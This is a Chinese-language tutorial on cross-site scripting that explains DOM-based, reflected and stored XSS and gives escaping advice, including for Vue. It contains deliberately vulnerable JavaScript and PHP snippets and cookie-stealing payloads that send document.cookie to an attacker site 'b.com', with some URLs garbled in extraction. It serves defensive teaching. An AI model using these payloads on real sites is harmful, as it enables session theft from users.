什么是XSS?

XSS，全称为Cross Site Scripting，意思是跨站脚本攻击，为了与层叠样式表（CSS：Cascading Style Sheets）区分，故其缩写改为XSS。

XSS攻击的原理是恶意攻击者在Web页面里插入恶意脚本，当用户浏览该页面时，嵌入的脚本代码会被执行，从而达到攻击目的。通常攻击者会通过XSS攻击来盗取用户隐私信息。

黑客诱导受害者点击恶意url

XSS漏洞分类

攻击者之所以有可乘之机，就是因为Web系统存在可以被XSS攻击利用的漏洞。XSS漏洞主要分为持久型XSS漏洞和非持久性XSS漏洞。

非持久性XSS漏洞是指 用于攻击的XSS脚本不会被后端持久化保存在服务器上或数据库里面，攻击方式也不止一种，比如DOM XSS漏洞、反射性漏洞等。

DOM XSS

DOM-based XSS漏洞是基于文档对象模型（DOM: Document Object Model)的一种漏洞，通常是通过url传入参数来控制触发的。比如网页上有这么一段javascript代码：

<script>      document.write(location.href.substring(location.href.indexOf('default=') + 8));</script>

这段代码的本意是：取出url里的default参数的值，然后显示到页面上。但这样会带来一个问题：如果default的值是一段包裹在script标签里的js代码，也会被加载执行。

基于这个漏洞，攻击者可以设计一个诱导用户点击的url：

;script>window.open(";+document.cookie)</script>

一旦用户的浏览器打开了这个url，就会运行这行脚本：

window.open(";+document.cookie)

也就是打开b.com网站，将用户的cookie信息发送到b.com。b.com就是攻击者搭建的网站，当b.com网站接收到该信息时，攻击者就盗取了用户的cookie信息。

反射性漏洞

反射性攻击

DOM XSS漏洞的攻击是完全基于浏览器的，基于发射性漏洞的攻击还会经过后端，其攻击路径是：从浏览器到后端，再反射到浏览器上。

下面这个php代码的页面，就是一个反射性XSS攻击的演示。

<form action=''' method=''get'>    <input type="text" name="xss"/>    <input type="submit" value="test"></form><?php    $xss = @$_GET['xss'];    if($xss !== null){        echo $xss    }?>

这段代码中首先包含一个表单，提交表单向后端发送 GET 请求，带一个名为xss的参数。

PHP代码会读取xss参数，如果不为空，则直接打印出来。如果xss中存在 HTML 结构性的内容，打印之后会被浏览器直接渲染为 HTML 元素。

我们直接在表单输入框中输入一个js代码，比如<script>alert('hack')</script>。提交以后，会弹出一个对话框，我们被攻击了。

网页被攻击了

此时我们再来看下浏览器中的HTML代码，发现已经被注入了脚本。

红色区域就是注入的XSS脚本

为了防止出现非持久性XSS漏洞，尽量做到以下几点：

尽量不要从url，document.referrer，document.forms 中获取数据直接渲染。尽量不要使用 eval(), document.write()，document.writeln()，element.innerHTML，document.createElement() 等有可能执行XSS代码的方法。对涉及DOM渲染的方法传入的字符串参数做转义，也就是破坏HTML语法，目的是只做展示而不会执行任何脚本。持久性XSS漏洞

持久性XSS漏洞一般存在于表单提交等交互功能，如发帖、留言、提交文本信息等，攻击者将用于攻击的内容经过正常提交，进入数据库持久化保存。当前端页面通过后端从数据库中读出注入的代码后，浏览器恰好将其渲染执行。

比如在某博客网站上发文章，文章中包括一段可执行的代码<script>window.open(";+document.cookie)</script>，这样一来所有打开这篇文章的人的cookie信息都会被发送到b.com上。

持久性XSS漏洞被攻击有以下几个必要条件：

POST请求提交表单后端没做转义直接入库后端从数据库中取出数据没做转义直接输出给前端前端拿到后端数据没做转义直接渲染页面

防止出现持久性XSS漏洞，需要前后端的配合，要做到以下几点：

后端在数据入库时，不能相信任何前端数据，将所有的字段统一进行转义处理。后端对返回给前端的数据统一进行转义处理。前端在渲染页面的时候不能相信任何后端数据，任何字段都需要做转义处理。

它与SQL注入攻击类似，SQL注入攻击中以SQL语句作为用户输入，从而达到查询/修改/删除数据的目的，而在xss攻击中，通过插入恶意脚本，实现对用户游览器的控制，获取用户的一些信息。

与反射性攻击相比，持久性XSS漏洞攻击路径要更长：浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器。

总结

非持久型xss攻击是一次性的，仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接，用户访问该链接时，被植入的攻击脚本被用户浏览器执行，从而达到攻击目的。

非持久性XSS漏洞主要有以下几个特点：

不经过服务器储存通常需要诱导用户点击恶意url反馈率低，难以发现和修复

持久型xss攻击会把攻击者的数据存储在服务器端，攻击行为将伴随着攻击数据一直存在。

现在国内比较流行的前端开发框架是vue框架。如果使用vue框架来开发前端应用，那么要防止XSS攻击需要注意以下两点：

尽量使用插值表达式{{}}，它会把要显示的内容转为字符串。如果使用v-html，要保证来自服务端的渲染数据都是安全的。